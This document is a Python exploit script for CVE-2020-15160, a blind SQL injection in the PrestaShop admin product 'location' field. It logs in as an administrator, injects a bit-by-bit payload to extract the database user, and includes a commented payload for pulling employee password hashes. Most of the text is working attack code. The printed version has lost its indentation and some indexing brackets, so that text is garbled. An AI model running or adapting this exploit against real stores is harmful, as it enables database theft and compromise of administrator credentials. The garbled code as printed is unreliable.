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EXP
# Exploit Title: PrestaShop 1.7.6.7 - 'location' Blind Sql Injection
# Date: 2021-04-08
# Exploit Author: Vanshal Gaur
# Vendor Homepage: https://www.prestashop.com/
# Version: 1.7.5.x < 1.7.6.8
# Tested on: Debian 10 (buster)
# CVE : CVE-2020-15160
#!/usr/bin/python3
'''
Setup Vulnerable Docker on "localhost:8080":
docker network create prestashop-net
docker run -ti --name mysql_z --network prestashop-net -e MYSQL_ROOT_PASSWORD=admin -p 3307:3306 -d mysql:5.7
docker run -ti --name prestashop_z --network prestashop-net -e DB_SERVER=mysql_z -p 8080:80 -d prestashop/prestashop:1.7.6.7
'''
import requests
import sys
from lxml import html
import re
if len(sys.argv) != 7:
print(
'''
Exploit By: Vanshal Gaur
Twitter Handle: @Vanshalg
Exploit: CVE-2020-15160 PrestaShop blind Sql Injection 1.7.5.0 < 1.7.6.8
Before Running the script make sure to login and change "Combinations" to "Simple product" of the product and give that productid.
Script will retrive the output of user() function, edit payload in script to retrive other data (Tested With Prestashop 1.7.6.7)
Usage: python3 {} email password localhost 8080 productid /adminpath
python3 exploit.py "email protected" "password" localhost 8080 11 /admin123
'''.format(sys.argv0)
)
sys.exit(1)
print("Exploiting...(Be Patient)\n")
email = sys.argv1
password = sys.argv2
target_host = sys.argv3
target_port = sys.argv4
product_id = sys.argv5
admin_path = sys.argv6
target = "http://"+target_host+":"+target_port
# proxies = {"http": "http://127.0.0.1:8081", "https": "http://127.0.0.1:8081"}
s = requests.Session()
def login(s,target,password,email,admin_path):
url = target+admin_path+"/index.php"
data = {"ajax": "1", "token": '', "controller": "AdminLogin", "submitLogin": "1", "passwd": "TEMP", "email": "email protected"}
data"passwd" = password
data"email" = email
r = s.post(url, data=data)
login(s,target,password,email,admin_path)
token_ext = s.get(target+admin_path+"/")
token_junk = re.findall("sell/catalog/pro.*_token\=.*",token_ext.text)
token_spit = re.split("\"",token_junk0)
token_2 = re.split("\?",token_spit0)
token = token_21
def productDetails_formtoken(s,target,product_id,admin_path):
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
q = s.get(target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token,headers=headers)
tree = html.fromstring(q.text)
output = tree.xpath("//inputcontains(@name,'form_token')/@value")
form_token = ''.join(output)
return form_token
form_token = productDetails_formtoken(s,target,product_id,admin_path)
def productDetails_form_location(s,target,token,product_id,admin_path):
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
q = s.get(target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token,headers=headers)
tree = html.fromstring(q.text)
output = tree.xpath("//inputcontains(@name,'formstep3location')/@value")
form_location = ''.join(output)
return form_location
def sqli(s,token,form_token,payload,target,product_id,admin_path):
for j in range(32, 126):
sql_payload = payload.replace("CHAR", str(j))
url = target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}
data = {"formstep1name1": "Blind Sql Injection @Vanshalg", "formstep1type_product": "0", "formstep1description_short1": "<p><span style=\"font-size:10pt;font-style:normal;\">Regular fit, round neckline, short sleeves. Made of extra long staple pima cotton. </span></p>\r\n<p></p>", "formstep1description1": "<p><span style=\"font-size:10pt;font-style:normal;\"><span style=\"font-size:10pt;font-style:normal;\">Symbol of lightness and delicacy, the hummingbird evokes curiosity and joy.</span><span style=\"font-size:10pt;font-style:normal;\"> Studio Design' PolyFaune collection features classic products with colorful patterns, inspired by the traditional japanese origamis. To wear with a chino or jeans. The sublimation textile printing process provides an exceptional color rendering and a color, guaranteed overtime.</span></span></p>", "formstep1features0feature": "1", "formstep1features0value": "4", "formstep1features0custom_value1": '', "formstep1features1feature": "2", "formstep1features1value": "8", "formstep1features1custom_value1": '', "formstep1id_manufacturer": "1", "show_variations": "0", "formstep6reference": "demo_1", "formstep1qty_0_shortcut": "0", "formstep1price_shortcut": "23.900000", "formstep1price_ttc_shortcut": "23.9", "formstep2id_tax_rules_group": "1", "formstep1id_category_default": "4", "formstep1categoriestree": "2", "formstep1categoriestree": "3", "formstep1categoriestree": "4", "ignore": "4", "formstep1new_categoryname": '', "formstep1new_categoryid_parent": "2", "formstep3qty_0": "0", "formstep3minimal_quantity": "1", "formstep3location": "TEST", "formstep3low_stock_threshold": '', "formstep3virtual_productis_virtual_file": "0", "formstep3virtual_productname": '', "formstep3virtual_productnb_downloadable": '', "formstep3virtual_productexpiration_date": '', "formstep3virtual_productnb_days": "0", "formstep3pack_stock_type": "3", "formstep3attributes": '', "product_combination_bulkquantity": '', "product_combination_bulkcost_price": '', "product_combination_bulkimpact_on_weight": '', "product_combination_bulkimpact_on_price_te": '', "product_combination_bulkimpact_on_price_ti": '', "product_combination_bulkdate_availability": '', "product_combination_bulkreference": '', "product_combination_bulkminimal_quantity": '', "product_combination_bulklow_stock_threshold": '', "product_combination_bulk_token": "0Dj8tJ3zd6YfSNgyxRFe6CfNbuMac6mn8rm_Gd52-to", "formstep3out_of_stock": "2", "formstep3available_now1": '', "formstep3available_later1": '', "formstep3available_date": '', "formstep4width": "0", "formstep4height": "0", "formstep4depth": "0", "formstep4weight": "0", "formstep4additional_delivery_times": "1", "formstep4delivery_in_stock1": '', "formstep4delivery_out_stock1": '', "formstep4additional_shipping_cost": "0.000000", "formstep2price": "23.900000", "formstep2price_ttc": "23.9", "formstep2unit_price": "0.000000", "formstep2unity": '', "formstep2ecotax": "0.000000", "formstep2id_tax_rules_group": "1", "formstep2wholesale_price": "0.000000", "formstep2specific_pricesp_id_shop": "1", "formstep2specific_pricesp_id_currency": '', "formstep2specific_pricesp_id_country": '', "formstep2specific_pricesp_id_group": '', "formstep2specific_pricesp_id_product_attribute": '', "formstep2specific_pricesp_from": '', "formstep2specific_pricesp_to": '', "formstep2specific_pricesp_from_quantity": "1", "formstep2specific_priceleave_bprice": "1", "formstep2specific_pricesp_reduction": "0.000000", "formstep2specific_pricesp_reduction_type": "amount", "formstep2specific_pricesp_reduction_tax": "1", "formstep2specificPricePriority_0": "id_shop", "formstep2specificPricePriority_1": "id_currency", "formstep2specificPricePriority_2": "id_country", "formstep2specificPricePriority_3": "id_group", "formstep5meta_title1": '', "formstep5meta_description1": '', "formstep5link_rewrite1": "hummingbird-printed-t-shirt", "formstep5redirect_type": "301-category", "formstep6visibility": "both", "formstep6display_optionsavailable_for_order": "1", "formstep6display_optionsshow_price": "1", "formstep6tags1": '', "formstep6condition": "new", "formstep6isbn": '', "formstep6ean13": '', "formstep6upc": '', "formstep6attachment_productname": '', "formstep6attachment_productdescription": '', "formid_product": "1", "form_token": "4KtBNSbjc--GLbsVr__-wqC5Qw2hQKDXh6zb8vWKBwA", "formstep1active": "1"}
data"form_token" = form_token
data"formstep3location" = sql_payload
data"formid_product" = product_id
# print(sql_payload)
r = s.post(url, headers=headers, data=data)
if(productDetails_form_location(s,target,token,product_id,admin_path) == "1"):
return j
return None
for i in range(1,41):
payload = "0'|(ascii(substr(user(),%d,1)) regexp CHAR)#" % i
extracted_char = chr(sqli(s,token,form_token,payload,target,product_id,admin_path))
sys.stdout.write(extracted_char)
sys.stdout.flush()
print("\n(+) done!")
#PAYLOAD TO EXTRACT PASSWORD:
# payload: 0'|ascii((substr((select passwd from ps_employee),1,1)) regexp CHAR#)
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